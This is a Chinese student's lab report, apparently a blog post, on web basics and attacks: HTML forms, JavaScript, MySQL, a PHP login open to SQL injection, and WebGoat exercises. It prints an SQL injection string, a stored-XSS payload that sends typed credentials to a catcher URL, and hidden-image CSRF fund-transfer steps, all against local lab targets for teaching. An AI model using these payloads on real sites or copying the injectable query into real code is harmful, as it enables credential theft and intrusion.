网络对抗实验八--web综合

网络对抗实验八--web综合

1.基础问题回答

(1)什么是表单
表单是 HTML 的一种标签。菜鸟教程:https://www.runoob.com/tags/tag-form.html
表单可以进行前台向后台的数据传输。
表单有三个基本组成部分:
(1)表单标签:包含处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
(2)表单域:包含文本框、密码框、多行文本框等一系列表单形式。
(3)表单按钮:包含提交按钮,复位按钮以及一般按钮
它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。需要特殊指出的是,form 表单中不具有 name 属性的输入数据是不会被提交的。因为 form 表单提交数据的方式是名值对(或者键值对),没有“名”,只有“值”,是非法的。
(2)浏览器可以解析运行什么语言。
HTML(超文本标记语言)
XML(可扩展标记语言)
Python
PHP
JavaScript
ASP等众多脚本语言
(3)WebServer支持哪些动态语言
ASP
JSP
PHP
Ruby等
** (4) 防范注入攻击的方法有哪些**
利用正则表达式检查用户输入
对数据库中的内容进行加密处理
关闭或删除不必要的交互式提交表单页面
永远不相信用户的输入。需要对用户的输入进行处理,只允许合法输入,其他值一律筛掉。
需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码。将html实体转化为相应的实体编号。

2.实践过程记录

(1).Web前端HTML (1分)

能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。

启动apache服务

service apache2 start

打开浏览器输入127.0.0.1,可以代开apche的默认页面

新建html文件

1.编写一个简单的含有表单的HTML

在/var/www/html目录下,新建一个简单的含有表单的html文件test.html

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>20191227</title>
</head>

<body>

    <h2 align="center">Login</h2>
		<center>
        <form action="login" method="post">
            <input placeholder="user" name="user" class="user" type="text">
            <br>
            </br>
            <input  placeholder="Password" name="Password" class="pass" type="password">
            <br>
            </br>
            <input type="submit" value="Login">
        </form>
		</center>
</body>
</html>

2.测试

在浏览器中输入/var/www/html/test.html打开

(2).Web前端javascipt (1分)

理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。

注册登录

1.登陆界面

编写登录界面,在刚才的基础上加入对用户名和密码为空时的验证

<html>
<head>
<title>20191227</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>

<body>
	<h2>Login</h2>
    	<center>
		<form action="myindex.html" method="get" name="form_login">
			<input placeholder="username" name="user" class="user" type="text" onfocus="if (this.value=='Your name') this.value='';" />
			<br>
			</br>
			<input  placeholder="Password" name="Password" class="pass" type="password" onfocus="if (this.value=='Your password') this.value='';"/>
			<br>
			</br>
			<input type="submit" value="Login" onClick="return validateLogin()"/>
		</form>
    	</center>
<!--//main-->
<script language="javascript">  
    function validateLogin(){  
        var sUserName = document.form_login.user.value;  
        var sPassword = document.form_login.Password.value;    
        if ((sUserName =="") || (sUserName=="Your name")){  
        alert("need name!");  
        return false ;  
        }  

        if ((sPassword =="") || (sPassword=="Your password")){  
        alert("need password!");  
        return false ;  
        }  
    }
</script>  

</body>
</html>

未输入密码会弹出提示(用户名也一样)

2.登录成功界面

编写登录成功后跳转的界面,主要任务是获取用户名参数并显示出来

<html>

<head>
<title>myindex</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<script language="JavaScript" type="text/javascript">
 
//获取Location对象的search属性值
var searchStr = location.search;
 
//由于searchStr属性值包括“?”,所以除去该字符
searchStr = searchStr.substr(1);
 
//将searchStr字符串分割成数组,数组中的每一个元素为一个参数和参数值
var searchs = searchStr.split("&");
 
//获得第一个参数和值
var username = searchs[0].split("=");
document.write("欢迎您:"+username[1]);
</script>

<body>

    <h2 align="center">myindex</h2>

</body>
</html>

点击login进入此页面,左上角显示用户登录的用户名

尝试注入攻击

注入的html代码

<script language="JavaScript" type="text/javascript">alert("在我的BGM里,没有人能打败我!");</script>

小改了一下

<html>

<head>
<title>myindex</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>

    <h2 align="center">myindex</h2>
    <h3 id="n"></h3>
<script language="JavaScript" type="text/javascript">
function myname() {

var searchStr = location.search;
 
searchStr = searchStr.substr(1);
 
var searchs = searchStr.split("&");
 
var username = searchs[0].split("=");
return username[1];
}

document.getElementById("n").innerHTML = decodeURIComponent(myname());
</script>
</body>
<a id='n'></a>
</html>

注入html

效果如图

(3).Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表 (1分)

安装,启动MySQL

参考指令
start|stop|restart|reload|force-reload|status|bootstrap
输入apt-get install mariadb-server安装

输入systemctl start mariadb启动mariadb,使用root用户登录

新建数据库

use mysql
create database test;
show databases;

新建用户

use test
grant select on test.* to Gny@localhost identified by "test";

登陆成功

修改密码

use mysql
update user set password=PASSWORD("123") where user='root';

新建数据表

use test
create table login(username VARCHAR(20), password VARCHAR(30));
show tables;

insert into login value('20191227','123123');

(4).Web后端:编写PHP网页,连接数据库,进行用户认证 (1分)

编写php网页

在/var/www/html文件夹下新建phptest.php

<?php
echo "Hello word! This is my php test page!";
?>

开启apache服务后,在浏览器输入127.0.0.1/phptest.php

连接数据库,进行用户认证

写php代码

<?php
$uname=$_POST["user"];
$pwd=$_POST["Password"];
echo $uname;
$query_str="SELECT * FROM login where username='$uname' and password='$pwd';";
$mysqli = new mysqli("127.0.0.1", "Gny", "test", "tset");
$query_str1="use test;";

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}
echo "connection ok!";
/* Select queries return a resultset */
if ($result = $mysqli->query($query_str1))
echo"<br>Success into database!";
echo$uname;
if ($result = $mysqli->query($query_str)) {
    if ($result->num_rows > 0 ){
            echo "<br> {$uname}:Welcome!!! <br> ";
    } 
    else {
        echo "<br> login failed!!!! <br> " ; }
    /* free result set */
    $result->close();
}
$mysqli->close();
?>

运行成功,记得把html改成php

(5).最简单的SQL注入,XSS攻击测试 (1分)

SQL注入

输入' or 1=1#,密码随意

登录成功

XSS攻击测试

将一张图片放在/var/www/html目录下,在用户名输入框输入,密码随意

登录失败但是图片嵌进去了

(6).选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例。 (1分)

netstat -tupln | grep 8080

查看8080端口是否被占用
java -jar webgoat-container-7.0.1-war-exec.jar

浏览器打开WebGoat,输入http://localhost:8080/WebGoat,用户名和密码都为guest

SQL注入攻击

数字型注入(Numeric SQL Injection)
1.概念: 注入数字型数据(如永真式)实现注入效果
2.原理: 在station字段中注入特征字符,组成新的SQL语句。如:SELECT * FROM weather_data WHERE station = [station]
3.目标: 该例子可以通过注入SQL字符串查看所有天气数据。
4.步骤如下:
在菜单栏Injection Flaws下拉选项选择Numeric SQL Injection
同样打开页面源码,找到城市复选框对应源码,在Value值中添加or 1=1

点击GO!,即可收到攻击结果:

XSS攻击

跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

存储型XSS攻击(Stored XSS Attacks)

1.原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
2.目标: 写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
3.步骤如下:

在title中输入任意字符,留言板中输入下面代码:

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("surprise man Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>

<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

点击生成的message,出现提示。

CSRF攻击

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
1.原理: 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如:,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com 的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
2.目标: 向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
3.步骤如下:

查看页面右侧的scr值和menu值,分别为273和900

title栏中随便输入,message框中输入以图片形式将URL放入Message框中,这事URL对其他用户不可见(宽高都为1为了隐藏该图片),用户点击图片就会触发CSRF事件,点击Submit提交。

在下方点击该消息,当前页面会下载此消息并显示,转走用户的5000元。没有其他明显的显示,但左侧任务框会显示已完成

绕过CSRF确认(CSRF Prompt By‐Pass)

1.原理: 跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
2.目标: 与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。
3.步骤如下:

查看页面右侧的scr和menu值分别为316和900
在Message框中输入,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。其中语句中的&transferFunds=5000即转走的受害人的金额,宽高设置成1像素的目的是隐藏该图片。
点击生成的链接,任务完成

3.实践总结与体会

这次实验学会了一些php,学会了表单的提交和sql语句的注入原理,把以前似懂非懂的内容弄得半懂不懂了.恰好这次实验与数据库实验三的时间差不多重合,把用户登录的逻辑也再理了一遍.既然学了sql注入什么的,那以后的实验设计里也得考虑如何防范吧.
这门课也快结束了,随便说一说感想吧.这特么才是信息安全学生该学的嘛,虽然密码学也不错,严丝合缝的感觉也很吸引人,但与实际应用差太远了,常让我怀疑威胁真实存在吗,这门课如果早点开就好了.刚开始做实验的时候,配环境什么的还是挺痛苦的,但Vb+Kali配着配着也就熟练了,没有以前用VM+Ubuntu动不动就崩,动不动就虚拟机繁忙的绝望.验收时有许多次虚拟机ip又出不出来啦,靶机又要换英文版啦,去年跑的通的代码又跑不通啦,说着苦逼,讨论讨论参考参考也都顺利搞完了.有前人文档可参考,有讲课视频可复习,是我认为这门课比较爽的地方.不用从网上沙里淘金,反复折磨.不好的地方呢..可能课上限时测验比较折磨,没看的不说,看过忘了也不得行额,不过似乎也没有什么好办法能全面地检验学习成果了,也算画了个重点吧.

慢慢探索

posted @ 2022-05-31 23:47  氧气2019  阅读(83)  评论(0编辑  收藏  举报